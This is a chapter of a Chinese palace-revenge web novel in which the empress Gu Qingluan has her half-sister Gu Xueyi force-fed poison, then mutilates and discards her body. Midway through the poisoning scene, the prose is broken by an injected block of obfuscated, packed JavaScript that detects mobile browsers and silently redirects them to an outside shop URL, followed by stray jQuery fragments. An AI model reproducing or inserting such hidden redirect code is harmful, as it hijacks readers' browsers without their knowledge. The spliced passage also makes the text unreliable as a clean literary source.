“顾青鸾!”
“我杀了你!”
“杀了顾家所有人!”
破败的茅草土屋内,回荡着女子绝望的嘶喊。
原本跪在地上的顾雪衣,拼了命地向前挣扎着。
她原本白皙如玉的脚腕,这半年来被沉重冰冷的铁镣铐死死地箍住,早已红肿溃烂,如今又在她拼命的挣脱下皮肉翻起,露出森森白骨。
可顾雪衣似是浑然不觉得疼痛,她呲着牙狠狠地盯着顾青鸾,原本一潭死水般的眼睛,充斥着滔天的恨意,手里尖锐的木钗朝着顾青鸾所站的方向不断地扎去。
只可惜,终是差了几寸。
她没能伤到顾青鸾一根毛发。
“还愣着干什么?!还不快拿下这个贱人!”赵嬷嬷最先反应过来,朝着左右宫娥厉声喝道。
这才回过神的众人,听得赵嬷嬷的呵斥,立即纷纷上前扣押住顾雪衣,将其压趴在泥地上。
可方才还虚弱得彷佛随时可以随风而去的女子,此时,却不知哪里来的力气,在四五个宫娥的大力扣押下,仍旧不断的挣扎嘶吼。
“顾青鸾,你和顾家所有人,都不得好死!”
“不得好死——!!!”
趴在地上不断扑腾的女子,发出怨毒的诅咒。
皇后顾青鸾方才被顾雪衣乍然暴起惊骇得不轻,此时鬓发钗环都有些散乱。好在赵嬷嬷经历过不少风浪,迅速反应了过来。她先是命宫娥捂住顾雪衣的嘴,让其不能胡言乱语,又赶忙扶着顾青鸾坐回高背凤椅上,命人点上随时备着的安魂香,又沏了一杯放了安神瓜片的香茶让顾青鸾小口啜着,自己则轻拍着顾青鸾的后背,哄孩子一般小声安抚着。如此忙活了一刻钟,皇后顾青鸾方才慢慢缓了下来,重新让宫娥梳理好了仪容。
“把她嘴里的帕子拿出来吧。”皇后顾青鸾脚踩小凳子,高坐在凤椅上,淡然吩咐道:“本宫倒要听听,她还要说些什么。”
赵嬷嬷皱眉小心劝道:“娘娘,玉器怎和瓦当斗,娘娘凤体和小太子最是要紧,咱们还是回宫去吧。这贱人自有人料理。”
“嬷嬷,本宫一向以理服人。本宫倒想知道,本宫这妹妹,对本宫和顾家,到底有何怨气。”
皇后顾青鸾朝着赵嬷嬷摆了摆手,又揣着小暖炉,慢条斯理地朝跪在地上的顾雪衣问道:“二妹妹,事到如今,你竟还口出恶言,不知悔改?”
“哈哈哈哈哈。”
被按在地上的顾雪衣发出一阵狂笑,她挣扎着仰起头,狠狠地吐出一口血沫,死死的盯着凤椅上的顾青鸾,冷笑道:“悔改?我的好姐姐,你让我悔改什么?”
“是悔改你那面慈心苦的母亲,害了我刚出生不久的幼弟?还是你那利欲熏心的父亲,为了当上皇商,将我阿娘送给了京城老宦官?!”
“是悔改你读圣贤书时,我只能一遍遍练赵飞燕的掌上舞?还是悔改你顿顿有美食珍馐,而我却只能忍饥挨饿?”
“是悔改你有无数丫鬟嬷嬷要风得风要雨得雨,而我却孤身一人只有夏天屋顶漏下的雨和冬天钻进窗的冷风?”
“顾二小姐?好一个顾二小姐!”
顾雪衣凄厉笑道:“我算个什么小姐?!我就是你母亲、她钟氏养的一个好看的、随时准备送人玩意儿!”
“阿娘和我,被你们顾家人视为牲畜,十几年来,任你们宰割,每天过着生不如死的日子。你竟然问我,我为什么不知悔改?!”
“哈哈哈哈。”顾雪衣怒极反笑:“我倒要问问你,我有哪里要悔改!”
“我不需要悔改!”
“我只后悔,听信了钟氏的花言巧语,以为我死了,你们就能善待我阿娘,善待我的小馒!”
“如今,我只恨不得扒了你们的皮,抽了你们的筋,喝了你们的血!”
顾雪衣双目血红,咬牙切齿,像是一只嗜血的困兽,恨不得一口口撕了凤座上的顾青鸾。
“妹妹,你这话说的就不对了。”皇后顾青鸾掸了掸凤袍上落下的灰尘,从容不迫道:“你幼弟死了,是因为不慎感染风寒。刚出生的小孩嘛,身体羸弱,养不大的可太多了,与我母亲有何关系?至于你阿娘嘛…”
顾青鸾微笑不言,却是一旁的赵嬷嬷接过了话茬,说道:“二小姐,你母亲本就是奴婢,这命都是主人家的,听从主人的命令自是理所应当。你怎么能因为这个怨恨皇后娘娘和顾家呢?”
“你实在是太不知好歹了些。”
赵嬷嬷接着说道:”你是婢生女,可夫人却是锦衣玉食的养着你,将你与皇后娘娘一视同仁。皇后娘娘呢,在闺中时也是对你爱护有加,时常教导你些圣人说的道理,这对你可是大恩啊!”
“可你却都干了什么?!”赵嬷嬷痛心疾首:“你仗着自己那张狐媚子般的脸,出门在外时,处处抢皇后娘娘的风头。”
“皇后娘娘贤明大度,不和你一般见识。可你却不知好歹,明知陛下有意于皇后娘娘,却使出那等下作手段逼得陛下娶你,害得皇后娘娘受了多少讥笑!”
“如此这般,皇后娘娘还视你为手足。陛下登基后,求娶娘娘时,娘娘念着二小姐你,始终不肯答应陛下。”
“二小姐,娘娘对你仁至义尽,你却想要害娘娘,你当真是个忘恩负义的狠毒之人!”
赵嬷嬷倒豆子一般,历数着顾雪衣的罪行。
“二妹妹,你可知错了?”皇后顾青鸾语调温柔宽和,她等着顾雪衣向她认错。
“呵!”顾雪衣冷笑着扫视着周围趾高气昂的宫娥和健妇壮仆,嗤笑不已。
“你们这些高高在上的人,贪婪又虚伪。”
“假惺惺的给了人一滴水,就大肆宣扬,想让别人涌血以报。”
“在你们顾家人眼里,阿娘和我,不过是你们的垫脚石罢了。”
“养着我们,哪是什么善心。不过是为了等有用之时,拿来用罢了。”
“就像养猪狗牛羊一般,平日里喂它,只是为了过年剥皮杀肉罢了。”
“你可曾见过,谁又真的将猪狗牛羊当作人来对待?!”
“就别再提什么一视同仁了,简直是可笑至极!”
“至于我当年抢了王妃之位,哼…”
顾雪衣鄙夷不屑地看着坐在凤椅上的皇后,讥讽道:”顾青鸾,你还是一如既往地没脑子。你总是以为,是我抢了你的心上人,让你没有能成为端王妃。”
“可是,你怎么不想想。顾家,想让你当的是皇后,不是王妃!”
“陛下当初,既不是嫡子,也不是长子,谁有把握他一定能当上皇帝?而顾家,怎么可能让你冒这么大的风险?!”
“是,我是使了手段。可整个顾家都在你母亲钟氏的掌控之中,若没有你母亲的默许甚至乐见其成,我一个人能爬上王爷的龙床?”
“顾青鸾,可笑你读了那么多书,自喻满腹经纶博古通今,却连这点小事儿都没看透,当真愚蠢!可笑至极!”
顾雪衣不屑冷笑,沾着血的脸,妖艳无比。
此刻的顾青鸾早已心满意足,便风轻云淡道:“罢了,朽木不可雕,妹妹你既然仍旧执迷不悟,那本宫也多说无益。看在今日是你生辰的份儿上,你自己选择一种方式,了断了吧。”
顾青鸾摆了摆手,一旁便有宫娥托着木盘走出,木盘子里装着匕首、白绫、还有一壶毒酒。
顾雪衣看着宫娥一步步走近,才恍然发觉,原来今日,是她的生辰…
怪不得,竟下起了这样大的雪…
顾雪衣看向窗外。
不知什么时候,零星落下的雪越下越大,天地之间,已是白茫茫的一片…
听阿娘说,她出生那天,也是下了好大的雪。
大雪压弯了树枝,冰封了河流,整个江南都被大雪盖住了,好像披上了一层洁白的麻衣…
所以,她便有了“雪衣”这个名字。
顾家的女孩儿,以鸟雀命名。
嫡出的大小姐,是神话中带来吉祥的鸾鸟,而她,是普通的、随处可见的、甚至带来灾祸的白鸟。
她本是不信命的,一直对鬼神之说嗤之以鼻,从不相信自己是个不祥之人。
可是,可是…
顾雪衣低头看着掌心里的香囊和馒头,哽咽地想,可是为什么她周围的人,明明是那样好的人,却沦落到今天的下场?
为什么顾青鸾这样的人,钟氏这样的人,还有顾家的那群人,这些一个个踩着别人的血肉的人,却能幸福快乐、荣华富贵的活着?!
她不服!她不服啊!!!
她知道顾青鸾今日是有备而来,她难逃一死。
可她不想就这么窝囊的死了!
不能什么都不做,就这么简单的死了!然后让顾青鸾这些人继续在这世上逍遥快活!
想及此,顾雪衣深呼一口气,提起全身的力气,朗声朝顾青鸾问道:“皇后娘娘,我当初是自请下堂,陛下从来没有剥夺我的封号,更不曾背负什么罪名。你今日来赐死我,可有陛下的圣旨?”
当初,顾青鸾要当皇后,可顾雪衣毕竟出自顾家,若顾雪衣成了罪人,那顾家难免有污点,自然也对顾青鸾不利。
因此,安国公夫人钟氏,以她阿娘性命为由,逼着顾雪衣以‘德行不足以母仪天下’为名,自请下堂,降为妃嫔。
所以,顾雪衣只算私德有亏,却并不曾背负什么实质罪名。
顾青鸾要赐死一位后妃,自然要皇帝点头。
“本宫掌管后宫,哪里需要陛下圣旨。”皇后顾青鸾抚摸着小腹的手一顿,继而又恢复淡然。
顾雪衣一眼看穿了顾青鸾的心虚,了然道:“皇后娘娘,你没有圣旨,便不能杀我,否则便是擅作主张,欺君罔上。”
说罢,顾雪衣变了神情。
只见她放弃挣扎,软了身躯,柔柔弱弱地趴在地上,没了骨头似的身躯弯成几段,好似一条白蛇,望向顾青鸾的一双眼睛媚如柳丝,娇声道:“我的好姐姐,世人皆知陛下爱美人,厌丑妇…”
“所以~陛下舍不得我。即便徐家犯下如此大罪,也只是关着我罢了。而姐姐你嘛~”
顾雪衣轻蔑地看着顾青鸾,轻笑中带着浓重的鄙夷:“听闻陛下除了夜里去你宫中,其他时间都是一步都不想挨着你呢…”
“不像妹妹我,陛下他可是从来不离我身旁的…”
“怪不得姐姐专宠一年之久,才怀有龙胎…“
“这一年来,真是苦了陛下了,要忍着恶心,与你欢好…”
顾雪衣娇声柔语,笑得意味深长,一字一句,都在扎在顾青鸾心尖上。
“砰!”
顾雪衣还未说完,便听到砰的一声,遂即脸上一痛一凉,却是皇后顾青鸾拿着的茶盏砸到了她的额头上。
“贱人!你说什么?!”
皇后顾青鸾“霍”地起身,声音陡然尖利,面容扭曲,失态尖叫。
顾雪衣昂然不惧,继续嗤笑道:“我说姐姐短小肥胖、面目丑陋,不得陛下喜爱!”
“若非如此,为何你从不敢照镜?为何你脸上要敷如此厚的珍珠粉?为何脚底下的鞋又做得似高跷一般?为何总强调女子容貌不要紧最重要的是德行!”
“因为姐姐你呀~没有容貌,只能谈德行了呢~”
“好姐姐,你珍惜吧,以你的才貌,这可能是你和陛下唯一的一个孩子了,哈哈哈哈哈…"
顾雪衣仰天大笑,状若疯癫,而周围则一室寂静,众宫娥如鹌鹑瑟缩不已,连赵嬷嬷听完后也是勃然变色,惊惧不已的看着皇后顾青鸾。
无他,二小姐这一刀,真是狠狠地戳在了皇后的心里。
顾青鸾肖似其母,人生的黑了些矮了些。其实,这原本也是普通容貌,细心打扮,也是个看起来有福气的大家闺秀。
但货比货得扔,悲哀的是,顾家出美人。
两姐妹的父亲,安国公顾朝,是当世一等一的美男子,走过之处,花果盈车。而二小姐的生母、秦三娘子,更是个倾国倾城的大美人。
两相一合,二小姐便格外出众。
大小姐顾青鸾因此便被衬托得十分不堪,从小便对自己的容貌耿耿于怀。
“来人!来人!”皇后顾青鸾面目狰狞,扑上的珍珠粉簌簌掉了下来,露出了脸颊上的雀斑,短粗的脖子上青筋暴起,厉声尖叫道。
“给本宫杀了这个贱人!“
“把这一壶毒酒,统统都给这个贱人灌下去!”
随着顾青鸾一声令下,六名宫娥中,两个死命地压着顾雪衣的腿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679009|207620||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两个紧紧抱着顾雪衣的胳膊,剩下两个,一个双手掰开顾雪衣的下巴,一个手持酒壶朝顾雪衣口中灌去。
好痛!
好痛!
毒酒辅一入口,顾雪衣便感受到了锥心般的疼痛。
这酒,就像一股烈火,源源不断地,顺着顾雪衣的呼吸,烧到了她的身体里,四散蔓延开来,无法制止。
这烈火烧得顾雪衣疼痛难忍,可她死死地咬着嘴唇,直将嘴唇咬出了血,仍是没有发出一丝儿声音。
她怕她疼得叫喊出来,让顾青鸾看到,又让顾青鸾得意!
她就算是死了,也不能被顾青鸾嘲笑着死!
多么可笑...她一生任人践踏,却在快死的时候,突然想保持一点尊严。
她也不知道为什么。
明明这辈子,尊严是她最先抛弃的、最没用的东西。
一阵阵鲜血上涌,铁锈味道充斥着她的口鼻,顾雪衣又一口口吞了下去。汩汩鲜血从眼睛里流出来,顾雪衣视线有些模糊了,她只能用双手摸索着,终于摸到了绸缎做的香囊,和那块干涩坚硬的风干馒头块儿。
香囊是阿娘的,馒头是小馒的。她要带着。
顾雪衣蜷曲在地上,她艰难地调动一点力气,把发霉的馒头块塞进了嘴里,和着铁锈味的鲜血吞了下去,又抖着手,把旧香囊塞到了胸口的衣襟口袋内,轻轻放好。
顾雪衣咧了咧嘴角,她想笑,可口中的鲜血涌出,让她看起来又像是在哭。
顾雪衣紧紧地捂着胸口。
阿娘和小馒都在了。
希望,她们还在黄泉路上等着她…
希望,她还能赶得上…
顾雪衣看着窗外的飞雪,失去了最后一丝意识。
……
狂笑着的女子,死了。
她双手抠着肚子,蜷曲着身体,整个人恨不得把自己团成一团。
大口大口的鲜血从她的口中涌出,染红了她胸前的衣襟和两臂的广袖,又沿着地面蔓延开来,最终缓缓地,将她整个人围在一滩血泊中,仿佛是大地上开出的一朵鲜红的花。
赵嬷嬷愣怔住了,她第一次看到如此惨烈的场景。
她这辈子虽然也狐假虎威的杖毙过几个不老实的奴才,可那都是拖出去行刑,她是没有听过见过这些人行刑中的惨叫和死后的样子的。
女子没有闭上眼。
那双像狐狸一样妩媚灵动的眼睛,因鲜血的涌出变得赤红,两条血泪沿着苍白的脸蜿蜒而下。血红的眼睛望向窗外,好看的唇角微微弯起,彷佛是在死之前,见到了令她开心的人或事。
赵嬷嬷记得,二小姐出生时,江南下了一场百年不见的大雪,二小姐因此得名。从那年后,赵嬷嬷再也没有过那样的大雪。
今日的雪很像当年,赵嬷嬷想道,二小姐大约是,因为终于看到了和她自己出生时一样的大雪而高兴吧。
赵嬷嬷不想再看下去,她扭过头,看向高坐着的顾青鸾,请示道:“娘娘,咱们起驾回宫吧。”
皇后顾青鸾面色涨红,尤有余怒,她扶着赵嬷嬷的手起身,肆意地踩踏着地上的鲜血,走近女子的身边。
顾青鸾居高临下地看着地上停止挣扎死去的女子,方才暴怒的心情渐渐抚平,随之很快转为显而易见的愉悦,她假意惋惜道:“二妹妹,你知道,你这辈子错在哪儿了吗?”
“你啊,错就错在,看不清自己的身份,总想去争不属于自己的东西。”
“这人呢,生来就分高低贵贱。”
“低贱的人就应该安守本分,这是天道。”
“就如同你,奴婢生出来的孩子,就应该恪守为奴的本分,老老实实地伺候主子才是。可你倒好,处处要与本宫比高低,还抢了本宫的陛下。”
顾青鸾围着死去的女子慢慢踱步,一边走一边轻笑道:“你呀,失了本分的德行,这就是触犯了天道,得了天谴,才落得这般下场。连你周围的人,也跟着你遭了殃,不得好死。你纵有绝世容貌又如何呢?”
“我的好妹妹,若有下辈子,你可要好好守着本分,别再翘想些不属于你的东西了。”
皇后顾青鸾用脚不屑地踢了踢女子的脸庞,看着那张娇艳的脸满了自己鞋底的灰尘,不由得捂着嘴咯咯咯地笑了起来。
“嬷嬷,起驾回宫吧。”皇后顾青鸾理了理鬓发,淡然的声音里夹杂着愉悦:“时候不早了,回去梳洗一番。今日雪景如此好,陛下一定有兴致,回去准备着,本宫要陪陛下赏景作画。”
“是。”赵嬷嬷木着脸老实地应下。
“对了,还有一桩事。”皇后顾青鸾走了几步后,想起了什么停住了脚,吩咐道:“罪人顾雪衣,行径放荡、妖媚祸主,为警示后人,用刀划烂她的脸,尸体丢入乱葬岗。一来消除其孽罪,二来,也让我南安朝的女子知道何为谨守妇德,如何做一名宜室宜家的贤妇。”
赵嬷嬷不由得抖了抖,低着头,诚惶诚恐地应了声是。
“还有,”皇后顾青鸾低头端详着自己的高底绣鞋,只见原本雪白的鞋底被鲜血浸透,已然变成了暗红色:“这双鞋子本宫很喜欢,不要洗也不要扔,熏过香后留起来。本宫以后想起来了,还是要观摩一番的…”
“哈哈哈哈~”
如此一番吩咐过后,皇后顾青鸾大笑着乘着凤辇离去。
……
城外,乱葬岗,尸堆如山。
世道艰难,百姓随皇室仓皇南迁后,大都家中窘迫,衣食皆无以为继。若家中有新丧之人,皆会抛于这城外的乱葬岗中,郊外饥饿的野狼豺狗,会无偿的清理这些尸体。
顾雪衣的尸体被匆匆运出,抛于其中。
茫茫大雪,日夜不停,为大地覆盖上了一层洁白的外衣。
几日后,乱葬岗没有了顾雪衣的尸体,只留下几片灰白色的脏污碎片,还有一枚暗褐色的香囊。
香囊上面绣着一位女子,手持玉瓶,低眉敛目,俯瞰苍生。
……
晋安三年,皇后顾氏于丰收节当日诞下第一位皇子,皇帝大喜,当日便封其为太子。
其后六年,皇帝崩,太子继位为帝。
太后顾氏,奉先帝遗命,垂帘听政,开启了其尊荣无比、万人之上的显赫一生。